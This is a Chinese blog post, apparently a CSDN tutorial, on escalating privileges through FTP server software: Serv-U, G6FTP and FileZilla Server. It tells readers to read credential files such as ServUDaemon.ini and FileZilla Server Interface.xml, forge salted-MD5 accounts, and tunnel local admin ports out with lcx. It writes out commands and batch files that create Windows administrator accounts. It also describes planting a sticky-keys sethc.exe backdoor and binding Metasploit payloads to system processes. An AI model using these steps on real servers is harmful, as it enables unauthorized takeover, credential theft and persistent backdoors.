第三方软件提权之FTP软件

server_U 提权

对于不可写权限,serv_u 6.4以下的,如果默认密码没有修改的,直接可以提权。serv_u 7以上的可以修改下脚本提权目录,不要用默认的C盘,改在其他盘符用脚本提权。serv-u的默认端口是43958,密码文件的安装目录 c:\Program Files\Serv-u\SerUDaemon.ini
图片来源见水印
一、读取配置文件
1.server-u默认安装目录下的ServUDaemon.ini文件记录着所有的ftp账号信息(32位默认安装路径C:\Program Files (x86)\RhinoSoft.com\Serv-U\ServUDaemon.ini),拿到密码可以直接拿去md5解密
在这里插入图片描述
2.如果有权限修改ServUDaemon.ini文件,可直接增加高权限ftp用户。添加账号的password值是加盐md5加密后的值(例如:盐是cq,就md5加密cq123456,然后Password=cq+md5(cq123456)
在这里插入图片描述
3.如果得到的ftp账号权限是管理权限,可直接ftp登录执行命令创建用户

quote site exec net user test test123 /add
quote site exec net localgroup administrators test /add

如图用户创建成功,而且是管理员权限
在这里插入图片描述

方法二、大马通过server-u的管理员账号创建新的ftp账号,然后用大马创建的账号登录进行提取在这里插入图片描述## 方法三、直接提权
server-u的管理员账号权限较大,相当于系统权限,可以通过管理员账号直接创建用户,并且加入到管理员组。
在这里插入图片描述如果server-U 用户默认密码被修改了,下载ServUAdmin.exe文件用c32打开就可以找到账号及密码,注意使用迅雷可能会出现问题,建议直接用浏览器下载
在这里插入图片描述

G6 ftp提权ftp

G6ftp安装目录下remoteadmin/remote.ini文件包含有账号信息,可通过解密得到账号密码,有修改权限也可以直接修改或添加用户
在这里插入图片描述
g6ftp默认监听在127.0.0.1的8021端口上,所以需要使用lcx 工具将该端口转发出去。如果无法执行cmd命令,需要在可读可写目录上传cmd和lcx等程序,然后才能进行端口转发
1.端口转发
在这里插入图片描述

lcx.exe -tran 8222 127.0.0.1 8021
#转发127.0.0.1 8021端口到全IP 8222端口

在服务器里面查看。确定已经转发成功
在这里插入图片描述
2.远程登录
端口转发完成后,直接使用g6ftp客户端以管理员用户远程登录软件。这里分别填入转发后的端口已经在最开始得到的用户名及密码
在这里插入图片描述
连接成功
在这里插入图片描述
3.创建ftp用户
在这里插入图片描述设置用户家目录
在这里插入图片描述
给该账号所有权限
在这里插入图片描述4.新建批处理命令,分别填入命令名称以及要执行的批处理文件路径
在这里插入图片描述
5.通过新建的ftp用户上传文件1.bat
在这里插入图片描述

#批处理文件内容
net user ftptest 123.com /add
net localgroup administrators ftptest /add

6.执行批处理命令,客户端会加载支持此批处理

quote site useradd

在这里插入图片描述
7.提权成功,新建了ftptest账户,且为管理员权限
在这里插入图片描述

filezilla提权

filezilla是一款开源的FTP服务器和客户端的软件。若安装了服务器端默认只侦听127.0.0.1的14147端口。并且默认安装目录目录下有两个敏感文件 filezilla server.xml(包含了用户信息)和filezilla server interface.xml(包含了管理信息)
C:\Program Files\FileZilla Server\FileZilla Server Interface.xml
在这里插入图片描述
提权思路:
1.下载这个两个文件,拿到管理密码
2.配置端口转发,登录远程管理ftp server
提权步骤:
1.端口转发

C:\Inetpub\wwwroot\8099\lcx.exe -tran 14148 127.0.0.1 14147

在这里插入图片描述2.远程连接
转发完成后使用filezilla 服务端软件远程连接,登录成功
在这里插入图片描述
在这里插入图片描述
3.创建ftp用户
在这里插入图片描述4.设置密码
在这里插入图片描述
5.设置家目录及控制权限
在这里插入图片描述
6. 使用filezilla客户端远程连接成功
在这里插入图片描述
7.使用cmd.exe改名为sethc.exe替换c:\windows\system32\sethc.exe生成shift后门
在这里插入图片描述
8.连接3389按5次shift 调出cmd.exe
在这里插入图片描述

 taskmgr
# 调用任务管理器
explorer.exe
# 调用桌面
net user test 123.com /add
net localgroup administrators test /add
#创建用户

注意:高版本服务器进不了登录界面,无法利用五次shift弹出cmd.exe。可以利用msf生成payload捆绑到目标cmd.exe/explorer.exe(经常使用的进程)上等待目标上线。然后进行提权


  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值